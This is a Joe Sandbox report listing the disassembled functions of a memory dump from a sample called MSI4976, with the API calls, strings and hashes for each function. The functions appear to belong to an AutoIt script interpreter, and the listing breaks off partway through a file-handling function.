Instruction ID: cec7dfcb180bdfd35baab96f2fcb2f09edef82a6aae818b6dce801460eeda8a8
Opcode Fuzzy Hash: 59721acbd202b839125acd0be71875af27bd758702c6484e141a2539de15f2b6
Instruction Fuzzy Hash: 2231A676A00208AADB22DFA4DC49FDA77FDBF89700F1481A5F519D6061E770DA81CBA1

Function 00370B20 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 229COMMON

Download Yara Rule

APIs

__wsplitpath.LIBCMT ref: 00370C93
_wcscat.LIBCMT ref: 00370CAB
_wcscat.LIBCMT ref: 00370CBD
GetCurrentDirectoryW.KERNEL32(00000104,?), ref: 00370CD2
SetCurrentDirectoryW.KERNEL32(?), ref: 00370CE6
GetFileAttributesW.KERNEL32(?), ref: 00370CFE
SetFileAttributesW.KERNEL32(?,00000000), ref: 00370D18
SetCurrentDirectoryW.KERNEL32(?), ref: 00370D2A

Strings

*.*, xrefs: 00370D69

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: CurrentDirectory$AttributesFile_wcscat$__wsplitpath
String ID: *.*
API String ID: 34673085-438819550
Opcode ID: 1a2d4fb65938ab5a4fd3414b85d1fcf8ab8e6d0b1066c07eaeedfc42206c94d9
Instruction ID: a980f3d16e58a08a4602b1e92e177f947ae546ffc39d2f1dc89aec9571c3e4f4
Opcode Fuzzy Hash: 1a2d4fb65938ab5a4fd3414b85d1fcf8ab8e6d0b1066c07eaeedfc42206c94d9
Instruction Fuzzy Hash: BB81A8B1504305DFC77ADF64C8449AAB7E8AB89314F15C91EF489CB251E738ED84CB52

Function 0035B593 Relevance: 21.2, APIs: 14, Instructions: 178memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0035B8E7: GetUserObjectSecurity.USER32(?,?,?,00000000,?), ref: 0035B903
Part of subcall function 0035B8E7: GetLastError.KERNEL32(?,0035B3CB,?,?,?), ref: 0035B90D
Part of subcall function 0035B8E7: GetProcessHeap.KERNEL32(00000008,?,?,0035B3CB,?,?,?), ref: 0035B91C
Part of subcall function 0035B8E7: RtlAllocateHeap.NTDLL(00000000,?,0035B3CB), ref: 0035B923
Part of subcall function 0035B8E7: GetUserObjectSecurity.USER32(?,?,00000000,?,?), ref: 0035B93A

Part of subcall function 0035B982: GetProcessHeap.KERNEL32(00000008,0035B3E1,00000000,00000000,?,0035B3E1,?), ref: 0035B98E
Part of subcall function 0035B982: RtlAllocateHeap.NTDLL(00000000,?,0035B3E1), ref: 0035B995
Part of subcall function 0035B982: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,0035B3E1,?), ref: 0035B9A6

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 0035B5F7
_memset.LIBCMT ref: 0035B60C
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 0035B62B
GetLengthSid.ADVAPI32(?), ref: 0035B63C
GetAce.ADVAPI32(?,00000000,?), ref: 0035B679
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 0035B695
GetLengthSid.ADVAPI32(?), ref: 0035B6B2
GetProcessHeap.KERNEL32(00000008,-00000008), ref: 0035B6C1
RtlAllocateHeap.NTDLL(00000000), ref: 0035B6C8
GetLengthSid.ADVAPI32(?,00000008,?), ref: 0035B6E9
CopySid.ADVAPI32(00000000), ref: 0035B6F0
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 0035B721
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 0035B747
SetUserObjectSecurity.USER32(?,00000004,?), ref: 0035B75B

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: HeapSecurity$AllocateDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
String ID:
API String ID: 2347767575-0
Opcode ID: a9a86fc3334d483713cea051804b8653778ff2ddd9be28343abe206f2ab400a3
Instruction ID: 27d96ea11a065a756acab243cb6268e08fbd62c7ce0b7f768a47c53c02353009
Opcode Fuzzy Hash: a9a86fc3334d483713cea051804b8653778ff2ddd9be28343abe206f2ab400a3
Instruction Fuzzy Hash: 85514C75900209ABDF02DFA4DC45EEEBB79FF49305F048159FD16AB2A0DB309A09CB60

Function 0037A268 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 159windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 0037A2DD
CreateCompatibleBitmap.GDI32(00000000,00000007,?), ref: 0037A2E9
CreateCompatibleDC.GDI32(?), ref: 0037A2F5
SelectObject.GDI32(00000000,?), ref: 0037A302
StretchBlt.GDI32(00000006,00000000,00000000,00000007,?,?,?,?,00000007,?,00CC0020), ref: 0037A356
GetDIBits.GDI32(00000006,?,00000000,00000000,00000000,?,00000000), ref: 0037A392
GetDIBits.GDI32(00000006,?,00000000,?,00000000,00000028,00000000), ref: 0037A3B6
SelectObject.GDI32(00000006,?), ref: 0037A3BE
DeleteObject.GDI32(?), ref: 0037A3C7
DeleteDC.GDI32(00000006), ref: 0037A3CE
ReleaseDC.USER32(00000000,?), ref: 0037A3D9

Strings

(, xrefs: 0037A37E

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
String ID: (
API String ID: 2598888154-3887548279
Opcode ID: d6da3327b16b4921897a94111de8572cd9214fe5df30eff3e3ebd54d61c34f97
Instruction ID: c642d16d542505ffa5a9777eb0001aad4ef1a59a703ca2d0de37ce0d1e4b4a64
Opcode Fuzzy Hash: d6da3327b16b4921897a94111de8572cd9214fe5df30eff3e3ebd54d61c34f97
Instruction Fuzzy Hash: EC516B75A00709EFDB26CFA8DC84EAEBBB9EF49310F14841DF95AA7650C735A841CB50

Function 00383AF7 Relevance: 21.1, APIs: 1, Strings: 11, Instructions: 109COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,?,?,?,?,00382AA6,?,?), ref: 00383B0E

Strings

HKEY_USERS, xrefs: 00383BF5
HKEY_LOCAL_MACHINE, xrefs: 00383B5D
HKCC, xrefs: 00383BC2
HKCU, xrefs: 00383BE4
HKEY_CURRENT_USER, xrefs: 00383BD3
HKEY_CLASSES_ROOT, xrefs: 00383B87
HKEY_CURRENT_CONFIG, xrefs: 00383BB1
HKU, xrefs: 00383C06
HKCR, xrefs: 00383B9C
|E=, xrefs: 00383B27
HKLM, xrefs: 00383B72

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: BuffCharUpper
String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU$|E=
API String ID: 3964851224-2382786368
Opcode ID: 96417d1bb644b943008c1319fdaec44b029f3404eef4f84f18fa086d1a2f907b
Instruction ID: 666f6237ddbb54a795df2984be52fb93cda7b1eab8d6e719b07b06b7e831471b
Opcode Fuzzy Hash: 96417d1bb644b943008c1319fdaec44b029f3404eef4f84f18fa086d1a2f907b
Instruction Fuzzy Hash: 0E416B3910034A8FCF0BFF14E881AEA3365BF56750F5508A5ECA26F395DB709A0ACB51

Function 00368097 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 72sleepwindowtimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 0036809C

Part of subcall function 0033E3A5: timeGetTime.WINMM(?,753DB400,00396163), ref: 0033E3A9

Sleep.KERNEL32(0000000A), ref: 003680C8
EnumThreadWindows.USER32(?,Function_0004804C,00000000), ref: 003680EC
FindWindowExW.USER32(?,00000000,BUTTON,00000000), ref: 0036810E
SetActiveWindow.USER32 ref: 0036812D
SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 0036813B
SendMessageW.USER32(00000010,00000000,00000000), ref: 0036815A
Sleep.KERNEL32(000000FA), ref: 00368165
IsWindow.USER32 ref: 00368171
EndDialog.USER32(00000000), ref: 00368182

Strings

@U=u, xrefs: 0036813B, 0036815A
BUTTON, xrefs: 00368100

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
String ID: @U=u$BUTTON
API String ID: 1194449130-2582809321
Opcode ID: 708cd1d01b03af826173d41b6737a2058f482ecbc2597096ca86b11e10ac63eb
Instruction ID: 4f80f3ef1e3594da59aaeb5aa890c00436c203724562f4e1dac9450927983bf7
Opcode Fuzzy Hash: 708cd1d01b03af826173d41b6737a2058f482ecbc2597096ca86b11e10ac63eb
Instruction Fuzzy Hash: 2D215EB0240244BFE7235B22ECCDA263B6EE71B388F458714F5128B6E5CB764D059A11

Function 003632B0 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 72windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,00000000,?,00393C64,00000010,00000000,Bad directive syntax error,003BDBF0,00000000,?,00000000,?,>>>AUTOIT SCRIPT<<<), ref: 003632D1
LoadStringW.USER32(00000000,?,00393C64,00000010), ref: 003632D8

Part of subcall function 0032CAEE: _memmove.LIBCMT ref: 0032CB2F

_wprintf.LIBCMT ref: 00363309
__swprintf.LIBCMT ref: 0036332B
MessageBoxW.USER32(00000000,?,?,00011010), ref: 00363395

Strings

., xrefs: 0036337B
Line %d (File "%s"):, xrefs: 0036333B
%s (%d) : ==> %s.: %s %s, xrefs: 00363304
">, xrefs: 00363338, 00363322, 003632FE
Line %d:, xrefs: 00363325
Error: , xrefs: 00363363

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: HandleLoadMessageModuleString__swprintf_memmove_wprintf
String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:$">
API String ID: 1506413516-1380894278
Opcode ID: 0aab2af6e7796e2e5ebfc7936b8f6aa91fb77505469f8f53329c53cba5b21c13
Instruction ID: ceafd0f249fa2b18e45a6e0b90161cb89326e21ee714eb261a8c48267408a307
Opcode Fuzzy Hash: 0aab2af6e7796e2e5ebfc7936b8f6aa91fb77505469f8f53329c53cba5b21c13
Instruction Fuzzy Hash: 0D217F36850229BBCF03EF90DC06EEE7779BF14700F004456F505A90A1EB75AB58DB91

Function 0036D520 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 144COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF), ref: 0036D567

Part of subcall function 0032CAEE: _memmove.LIBCMT ref: 0032CB2F

LoadStringW.USER32(?,?,00000FFF,?), ref: 0036D589
__swprintf.LIBCMT ref: 0036D5DC
_wprintf.LIBCMT ref: 0036D68D
_wprintf.LIBCMT ref: 0036D6AB

Strings

Error: , xrefs: 0036D657
"%s" (%d) : ==> %s:%s%s, xrefs: 0036D688
^ ERROR, xrefs: 0036D631
Line %d (File "%s"):, xrefs: 0036D5D6
"%s" (%d) : ==> %s:, xrefs: 0036D6A6

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: LoadString_wprintf$__swprintf_memmove
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
API String ID: 2116804098-2391861430
Opcode ID: 06011a402377065be492af0190428ed8ccbe2972edf4525fa8cd2ef6bcdeab46
Instruction ID: eb3f84eea646ec06fd157b1384b467fe885142909dd7421f4bc23c46dde67df1
Opcode Fuzzy Hash: 06011a402377065be492af0190428ed8ccbe2972edf4525fa8cd2ef6bcdeab46
Instruction Fuzzy Hash: 0651A871D00119BBCB17EB90DD82EEEB779AF04300F508166F105B61A5EB715F54CBA1

Function 0036D338 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 140COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,00000016), ref: 0036D37F

Part of subcall function 0032CAEE: _memmove.LIBCMT ref: 0032CB2F

LoadStringW.USER32(00000072,?,00000FFF,?), ref: 0036D3A0
__swprintf.LIBCMT ref: 0036D3F3
_wprintf.LIBCMT ref: 0036D499
_wprintf.LIBCMT ref: 0036D4B7

Strings

Error: , xrefs: 0036D463
^ ERROR , xrefs: 0036D432
"%s" (%d) : ==> %s:%s%s, xrefs: 0036D494
Line %d (File "%s"):, xrefs: 0036D3ED
"%s" (%d) : ==> %s:, xrefs: 0036D4B2

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: LoadString_wprintf$__swprintf_memmove
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
API String ID: 2116804098-3420473620
Opcode ID: 3254595b47266ec82442c202077158c701bc1655cf1c527bc0a371a785d39ecf
Instruction ID: dd776a9c55988e7d9d7285474c0543d90c6cbd6f89e51202a88c0f2563173703
Opcode Fuzzy Hash: 3254595b47266ec82442c202077158c701bc1655cf1c527bc0a371a785d39ecf
Instruction Fuzzy Hash: D8519472D00119AACB17EBA0DD82EEEB779AF14700F108166F105B61A1EF756F58CBA1

Function 0035AEE5 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 127registryshareCOMMON

Download Yara Rule

APIs

Part of subcall function 00327E53: _memmove.LIBCMT ref: 00327EB9

_memset.LIBCMT ref: 0035AF74
WNetAddConnection2W.MPR(?,?,?,00000000), ref: 0035AFA9
RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 0035AFC5
RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,SOFTWARE\Classes\), ref: 0035AFE1
RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,?,SOFTWARE\Classes\), ref: 0035B00B
CLSIDFromString.COMBASE(?,?), ref: 0035B033
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 0035B03E
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 0035B043

Strings

\CLSID, xrefs: 0035AF2B
SOFTWARE\Classes\, xrefs: 0035AF15
\IPC$, xrefs: 0035AF8B

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_memmove_memset
String ID: SOFTWARE\Classes\$\CLSID$\IPC$
API String ID: 1411258926-22481851
Opcode ID: 75efc16e32328dd1579207585dbd6757def98c1f1dfc99e0b4a6593b3f5b2ba6
Instruction ID: 080db67d1f8bf5193c1009b97c1a8c724de2df525199f23533a54badd9f3d8d3
Opcode Fuzzy Hash: 75efc16e32328dd1579207585dbd6757def98c1f1dfc99e0b4a6593b3f5b2ba6
Instruction Fuzzy Hash: 40411B76C1162DABCF12EBA4EC95DEEB778BF14700F01416AE901A71A0EB749E04CB90

Function 00367212 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 107windowCOMMON

Download Yara Rule

APIs

__swprintf.LIBCMT ref: 00367226
__swprintf.LIBCMT ref: 00367233

Part of subcall function 0034234B: __woutput_l.LIBCMT ref: 003423A4

FindResourceW.KERNEL32(?,?,0000000E), ref: 0036725D
LoadResource.KERNEL32(?,00000000), ref: 00367269
LockResource.KERNEL32(00000000), ref: 00367276
FindResourceW.KERNEL32(?,?,00000003), ref: 00367296
LoadResource.KERNEL32(?,00000000), ref: 003672A8
SizeofResource.KERNEL32(?,00000000), ref: 003672B7
LockResource.KERNEL32(?), ref: 003672C3
CreateIconFromResourceEx.USER32(?,?,00000001,00030000,00000000,00000000,00000000), ref: 00367322

Strings

L6=, xrefs: 0036721F

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Resource$FindLoadLock__swprintf$CreateFromIconSizeof__woutput_l
String ID: L6=
API String ID: 1433390588-1471508690
Opcode ID: b3a690187fd5ca56f68cabbb2b47121a64d02e52880188ffc7c9b47f549ea694
Instruction ID: 658b4012fed8b4d05f4d54da81394c8a19a2525c44b200f70da69c5d06fab094
Opcode Fuzzy Hash: b3a690187fd5ca56f68cabbb2b47121a64d02e52880188ffc7c9b47f549ea694
Instruction Fuzzy Hash: F331CDB590425AABDB139F60DC88AEF7BACFF09344F508825FD02E6250E734D950DAB0

Function 003683D6 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 73COMMON

Download Yara Rule

APIs

Part of subcall function 00327E53: _memmove.LIBCMT ref: 00327EB9

mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 0036843F
mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 00368455
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00368466
mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 00368478
mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 00368489

Strings

play PlayMe wait, xrefs: 00368473
close PlayMe, xrefs: 00368450, 0036847D
play PlayMe, xrefs: 00368484
alias PlayMe, xrefs: 00368418
status PlayMe mode, xrefs: 0036843A
open , xrefs: 003683EE

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: SendString$_memmove
String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
API String ID: 2279737902-1007645807
Opcode ID: 1e1248f8720324610486d4c6aceff25fe3ed1c0e199d5c2b53dedbc093ff61d4
Instruction ID: a525ec3af9f304aca283d101088d7fd485851f29050c83d66290559c0b2bab3d
Opcode Fuzzy Hash: 1e1248f8720324610486d4c6aceff25fe3ed1c0e199d5c2b53dedbc093ff61d4
Instruction Fuzzy Hash: 8811E7B2A4016D79D713A7A2EC4ADFF7B7CEB95B00F00492AF411A61D5DEA04E44C5B1

Function 0039EC19 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 59windowCOMMON

Download Yara Rule

APIs

GetClientRect.USER32(?), ref: 0039EC32
SendMessageW.USER32(?,00001328,00000000,?), ref: 0039EC49
GetWindowDC.USER32(?), ref: 0039EC55
GetPixel.GDI32(00000000,?,?), ref: 0039EC64
ReleaseDC.USER32(?,00000000), ref: 0039EC76
GetSysColor.USER32(00000005), ref: 0039EC94

Strings

@U=u, xrefs: 0039EC49

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: ClientColorMessagePixelRectReleaseSendWindow
String ID: @U=u
API String ID: 272304278-2594219639
Opcode ID: 7477dea19735847ac4a6b6b76c0225c4a960beef33c874a806e3e344ad64a885
Instruction ID: 0725fa998927c80c996948fbaacd132c00684be67984f383e008650d81127465
Opcode Fuzzy Hash: 7477dea19735847ac4a6b6b76c0225c4a960beef33c874a806e3e344ad64a885
Instruction Fuzzy Hash: A2216A31500205FFDB62AF64EC88BE97BB9EB06325F518224FA66A54F1CB314A41DF21

Function 0036C890 Relevance: 18.3, APIs: 12, Instructions: 316fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0036C6A0: __time64.LIBCMT ref: 0036C6AA

Part of subcall function 003241A7: _fseek.LIBCMT ref: 003241BF

__wsplitpath.LIBCMT ref: 0036C96F

Part of subcall function 0034297D: __wsplitpath_helper.LIBCMT ref: 003429BD

_wcscpy.LIBCMT ref: 0036C982
_wcscat.LIBCMT ref: 0036C995
__wsplitpath.LIBCMT ref: 0036C9BA
_wcscat.LIBCMT ref: 0036C9D0
_wcscat.LIBCMT ref: 0036C9E3

